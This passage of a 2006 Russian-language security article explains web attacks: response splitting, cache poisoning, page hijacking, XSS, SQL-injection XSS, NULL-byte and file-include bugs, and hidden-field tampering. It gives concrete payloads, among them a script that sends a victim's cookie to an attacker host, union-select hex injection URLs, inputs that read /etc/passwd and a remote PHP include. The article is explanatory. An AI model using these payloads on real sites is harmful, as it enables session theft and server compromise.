проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.

31) Cross User Defacement – Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.

32) Web Cache Poisoning – по нашему мнению, не совсем полезный приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.

33) Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.

34) Hijacking Pages – в некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:

  • a) Взломщик посылает через «ВСП» запрос (назовём «ЗА») к прокси серверу, на который Веб-сервер должен ответить двумя «ответами» «ОФ1» и «ОФ2» (случай HRS).
  • b) Прокси сервер пересылает через «ССП» запрос «ЗА» к Веб-серверу.
  • c) Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».
  • d) Прокси сервер считает, что «ОФ1» это ответ на «ЗА» и пересылает его взломщику через «ВСП».
  • e) Жертва посылает прокси серверу запрос «ЗЖ» через «ЖСП». На который Веб сервер должен ответить страницей «ОС», которая содержит важную информацию.
  • f) Прокси сервер пересылает «ЗЖ» Веб-серверу через «ССП», но тут же принимает фальшивый «ОФ2» за ответ Веб-сервера.
  • g) Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на запрос «ЗЖ».
  • h) Взломщик снова посылает прокси серверу новый запрос «ЗА2» через «ВСП».
  • i) В это время прокси сервер получает ответ от Веб-сервера на «ЗЖ» через «ССП».
  • j) При этом прокси сервер всё же пересылает «ЗА2» Веб-серверу через «ССП», но тут же принимает «ОС» за ответ на «ЗА2».
  • k) Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. взломщик добился своей цели, он получил страницу, которая предназначалась жертве.

Дальше прокси сервер получит ответ на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее всего удалена. Мы думаем, что после рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.

35) CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг). Атака, так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности достаточно ограничены, но в умелых руках имеющиеся возможности могут быть очень эффективно использованы. Например, многие форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может внедрить в страницу код типа: «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>», а на своём сайте создать файл snf.jpg, который на самом деле будет скриптом и будет записывать в файл полученные через document.cookie данные. Таким образом, каждый пользователь, посетивший страницу форума, куда взломщик внедрил вышеприведённый код (например, вместо картинки), «подарит» взломщику свою cookie, которая позже может быть использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но есть возможность их загрузки, то одного фильтра на расширение (чтобы оно было, например JPG) мало. Поэтому атака всё равно будет успешной, если в теле файла (например: «photo.jpg») будет содержаться JAVA код. Если сервер подвержен атаке XSS, то клиент может сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно, после этого некоторые страницы могут работать некорректно.

36) SiXSS (SQL Injection Cross Site Scripting). Представляет собой комбинацию SQL Injection и XSS, т.е. выполнение атаки типа XSS через уязвимость скрипта к SQL Injection. Атака основана на том, что свежие версии MySQL умеют переводить шестнадцатеричные значения (вида 0хХХ) в текст. Например, через SQL запрос можно выяснить, что шестнадцатеричное значение строки «<script>alert("SiXSS");</script>» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если есть уязвимый к SQL Injection Скрипт, то можно задать вот такой запрос: www.victim.com/vuln_script.php?vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт соответственно. В результате мы получим окошко с текстом SiXSS, что значит, что атака прошла успешно. Код исключительно безвреден, поэтому можно проверить самим. Подобная атака весьма специфична, поэтому мы считаем необходимым обговорить её более подробно. В отличие от XSS эта атака применяется в фишинге, если её модифицировать. Кроме того, достаточно трудно внедрить подобный код в чужую страницу, потому что «рабочие» скрипты в их шестнадцатеричном значении очень длинные и могут выходить за пределы допустимых значений, поэтому проще привести подобную ссылку отдельно как текст, нежели «вшивать её». Конечно, многие пользователи могут сказать, что они никогда не откроют ссылку, если увидят в ней элементы SQL запроса, например «UNION», однако здесь есть свой подводный камень: от человеческого глаза ссылку легко спрятать, сделать неузнаваемой. Например, запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глаза, но будет правильно воспринята браузером и сервером. Кроме этого, есть несколько способов замаскировать ссылку, поэтому ошибиться будет легко. Кроме этого, многие почтовые клиенты предпочитают не показывать ссылку целиком, а показывать только начало, поэтому фрагменты SQL могут оказаться попросту скрытыми. Поэтому, либо не доверяйте неизвестным отправителям, даже если они представятся менеджерами банков, либо отключите JAVA. Но первый вариант всё же предпочтительнее. Из личного опыта можно рассказать, что однажды пришло подобное письмо от управляющего банком, где в поле «отправител» была запись «Apex Bank PLC», однако в обратном адресе было apexbnkplcc@yahoo.co.uk Ясно, что это был мошенник, потому что никогда банк не будет доверять обработку своей почты бесплатным почтовым серверам. Внимательно проверяйте обратный адрес и не верьте в легкие деньги!

37) SiHRS (SQL Injection HTTP Resource Splitting) – приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQLбазы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.

Select HEX('i.php'

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html></html>');

Получится очень длинная строка, поэтому мы приведём только первую её часть «692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

Теперь мы сможем так же использовать полученный результат, как и в случае с SiXSS.

«www.victim.com/vuln_script.php?vuln_variable=1+and+2%3d%34+union+select+0x692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

38) NULL Byte(или Нулевой байт). Это достаточно серьёзная проблема с языком PERL. Дело в том, что Perl позволяет символу � (HTML вариант - %00) быть в любом месте строки. Для языков типа С, этот символ означает конец строки. Вот тут и кроется угроза. Например, есть Perl код: $filename = $query->param('filename').'.dat'; open F, $filename; Конечно, всё будет в порядке, если filename будет введён, например “org”, тогда Perl будет открывать файл org.dat, но если взломщик введёт “/etc/passwd%00”, то Perl попытается открыть файл с именем “/etc/passwd�.dat”. Так как за открытие файла отвечает функция open, которая, получив этот параметр, воспримет � как конец строки и отбросит “.dat” и откроет файл “/etc/passwd”.

39) Include Bug – Достаточно часто встречающаяся уязвимость. Для упрощения добавления новых страниц на сайт или для других целей в скриптах используется функция include($file); где $file задаётся пользователем, либо указывается в ссылке, например http://victim.com/news.php?file=somefile. После этого, вместо функции include(); будет вставлено содержимое somefile. Достаточно удобно, но если не проверять введённое пользователем значение, то рано или поздно кто-нибудь введёт http://victim.com/news.php?file=/etc/passwd и получит его содержимое.

40) PHP-Include Bug – на наш взгляд достаточно интересная уязвимость, которая может быть отнесена к подвиду Include Bug, но мы считаем, что стоит выделить её отдельно, потому что целью выступает не получение данных из какого-то файла, а вставка в страницу и последующее выполнение сервером PHP кода. Те, кто знакомы с PHP знают, что фрагменты кода (ограниченные, например, <? … ?> или <?php … ?>) просто вставляются в Веб-страницу, и при построчной обработке страницы Веб-сервером, они выполняются. Т.о. можно вставить такие куски кода в страницу через PHP Include. Например, в странице есть код include($file); В результате в страницу будет вставлено содержимое файла $file (который задаётся пользователем, как в случае с Include Bug). Взломщик может заранее подготовить файл, который содержит в себе PHP код, который он желает выполнить на уязвимом сервере. После этого он загрузит файл на свой Веб-сервер и введёт запрос http://victim.com/news.php?file=http://attacker.host.com/php_code.php После этого PHP код будет вставлен в уязвимую страницу и выполнен Веб-сервером.

41) Hidden Fields (или Скрытые поля). Это не приём взлома, скорее, приём манипуляции данными. Скрытые поля используются в формах, которые сначала передаются клиенту, но не отображаются в браузере, а потом отдаются обратно серверу. Они выглядят в исходном коде HTML страницы как: “<input type="hidden" name="price" value="10">”. Проблема в том, что взломщик может изменить это поле вручную, после чего товар будет ему продан в ту цену, в которую он пожелает.

Рекомендации: не доверяйте данным, полученным из скрытых полей.

Мы постарались наиболее полно и понятно объяснить суть всех хакерских приёмов, используемых в TCP/IP сетях. Мы надеемся, что эта статья действительно откроет Вам перспективы изучения компьютерной безопасности, укрепит базу или хотя бы даст осознать всю важность этого вопроса для каждого пользователя. Новый век диктует нам новые правила и, чтобы идти с ним в ногу, необходимо их придерживаться.

Мы надеемся, что тип людей, не способных ни на что серьёзное, а только на унижение того, что сделано другими, обойдёт нас стороной, понимая, что мы не будем принимать беспочвенную и неаргументированную критику. Остальным же скажем, что мы всегда рады выслушать все пожелания и по возможности их реализовать, а также примем всю разумную и уместную критику.

Copyright © 2006 www.SECURITYPROBE.net



Авторизуйтесь для добавления комментариев!


    забыли пароль?    новый пользователь?